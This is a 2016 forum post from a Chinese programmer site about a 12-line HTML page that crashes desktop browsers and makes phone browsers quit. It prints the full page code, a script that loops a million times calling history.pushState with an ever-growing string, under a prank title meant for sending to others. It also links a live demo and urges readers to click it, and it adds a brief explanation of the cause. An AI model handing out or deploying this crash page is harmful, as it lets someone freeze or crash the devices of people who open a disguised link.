架构师_程序员_码农网

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

搜索
查看: 13253|回复: 0

[HTML/HTML5] 12行html网页代码分分钟让你电脑崩溃手机重启

[复制链接]
发表于 2016-1-22 11:36:39 | 显示全部楼层 |阅读模式
事情的起因是这样的,国外一哥们Cyber Security在推特上发了这么一条推文:

QQ截图20160122112812.jpg

这哥们声称,如果你使用上述这段12行的Javascrip{过滤}t代码,就可以能让firefox、chrome、safari浏览器崩溃,而且还能让iphone重启,安卓手机闪退!

完整HTML代码如下:

  1. <html>
  2. <head>
  3. <meta charset="utf-8">
  4. <title>谁点谁怀孕</title>
  5. </head>
  6.     <body>
  7. 恭喜你,你已经怀孕了!
  8. <scrip{过滤}t>
  9. var total="";
  10. for (var i=0;i<1000000;i++)
  11. {
  12.         total= total+i.toString();
  13.         history.pushState(0,0,total);
  14. }
  15. </scrip{过滤}t>
  16.     </body>
  17. </html>
复制代码


如果你是PC端用户,点开链接以后,电脑CPU内存极有可能一路狂飙直至浏览器崩溃卡死...

如果你是移动端(安卓、iPhone)用户,点开链接以后你的浏览器会闪退!在微博、微信点开链接也同样会闪退。


为什么会发生此现象呢?对此我在知乎上找到了一位名为“小米”的大神解答:

history.pushstate()是HTML5引入的API,pushState将指定的URL添加到浏览器历史里,存储当前历史记录点。 当 i<100000 的时候会循环的将 total记录到浏览器历史里面,重复多了,浏览器就承受不住了,自然就崩了。

好吧,反正对于连“hello world”都不会编的我,是一点也看不明白...总之牛气炫酷吊炸天就对了!


如果大家想尝试一下,请大胆点击此处:   http://www.itsvse.com/demo.html




上一篇:[开源]wooyun漏洞查询平台源代码加数据库asp.net版
下一篇:Linux下 config/configure/Configure、make 、make test/make check、sudo make in...
码农网,只发表在实践过程中,遇到的技术难题,不误导他人。
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

免责声明:
码农网所发布的一切软件、编程资料或者文章仅限用于学习和研究目的;不得将上述内容用于商业或者非法用途,否则,一切后果请用户自负。本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑中彻底删除上述内容。如果您喜欢该程序,请支持正版软件,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。

Mail To:help@itsvse.com

QQ|小黑屋|架构师 ( 鲁ICP备14021824号-2 )|网站地图

GMT+8, 2026-1-28 20:19

Powered by Discuz! X3.4

Copyright © 2001-2021, Tencent Cloud.

快速回复 返回顶部 返回列表